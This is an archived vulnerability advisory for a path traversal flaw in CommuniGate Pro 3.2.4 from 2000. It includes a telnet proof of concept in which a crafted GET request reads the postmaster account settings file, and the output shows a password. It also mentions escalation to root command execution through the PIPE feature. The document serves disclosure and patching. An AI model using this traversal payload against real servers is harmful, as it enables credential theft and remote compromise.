CommuniGate Pro Arbitrary File Read Vulnerability

BID:1493

Info

CommuniGate Pro Arbitrary File Read Vulnerability

Bugtraq ID: 1493
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Apr 03 2000 12:00AM
Updated: Apr 03 2000 12:00AM
Credit: This vulnerability was documented in a S21Sec Advisory on April 3, 2000.
Vulnerable: Stalker Communigate Pro 3.2.4
- BSDI BSD/OS 4.0
- BSDI BSD/OS 3.0
- BSDI BSD/OS 2.0
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- FreeBSD FreeBSD 3.5
- FreeBSD FreeBSD 3.4
- FreeBSD FreeBSD 3.3
- FreeBSD FreeBSD 3.2
- FreeBSD FreeBSD 3.1
- HP HP-UX 11.0
- HP HP-UX 10.0
- IBM AIX 4.3
- IBM AIX 4.2
- IBM AIX 4.1
- Linux kernel 2.3 .x
- Linux kernel 2.2 .x
- Linux kernel 2.1 .x
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- SCO Unixware 7.1
- SCO Unixware 7.0
- SGI IRIX 6.5
- SGI IRIX 6.4
- SGI IRIX 6.3
- SGI IRIX 6.2
- SGI IRIX 6.1
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
Not Vulnerable: Stalker Communigate Pro 3.3 b2
- Linux kernel 2.3 .x
- Linux kernel 2.2 .x
- Linux kernel 2.1 .x
Stalker Communigate Pro 3.3 b1
- Linux kernel 2.3 .x
- Linux kernel 2.2 .x
- Linux kernel 2.1 .x

Discussion

CommuniGate Pro Arbitrary File Read Vulnerability

A vulnerability exists in the CommuniGate Pro product, from Stalker. It is possible to exploit this vulnerability to read arbitrary files on the filesystem. As CommuniGate Pro runs as root, any file can be accessed. Using this flaw, it is possible to gain enough privilege to remotely execute commands as root.

Exploit / POC

CommuniGate Pro Arbitrary File Read Vulnerability

Retrieve the postmaster/manager configuration file:
homer:~$ telnet ilf 8010
Escape character is '^]'.
GET /Guide/../../../../../../../../../../../var/CommuniGate/Accounts/postmaster.macnt/account.settings HTTP/1.0

HTTP/1.0 200 OK
Content-Length: 61
Date: Mon, 03 Apr 2000 09:17:35 GMT
Content-Type: application/octet-stream
Server: CommuniGatePro/3.2.4
Expires: Tue, 04 Apr 2000 09:17:35 GMT

{ ExternalINBOX = NO; Password = 8093; UseAppPassword = YES;}
Connection closed by foreign host.
homer:~$

Using this information, it is possible to alter the configuration on the mail server to allow execution using its PIPE feature.

Solution / Fix

CommuniGate Pro Arbitrary File Read Vulnerability

Solution:
This vulnerability is fixed in Version 3.3 betas, and should be fixed in the release version of 3.3 when it is available.


Stalker Communigate Pro 3.2.4

References

CommuniGate Pro Arbitrary File Read Vulnerability

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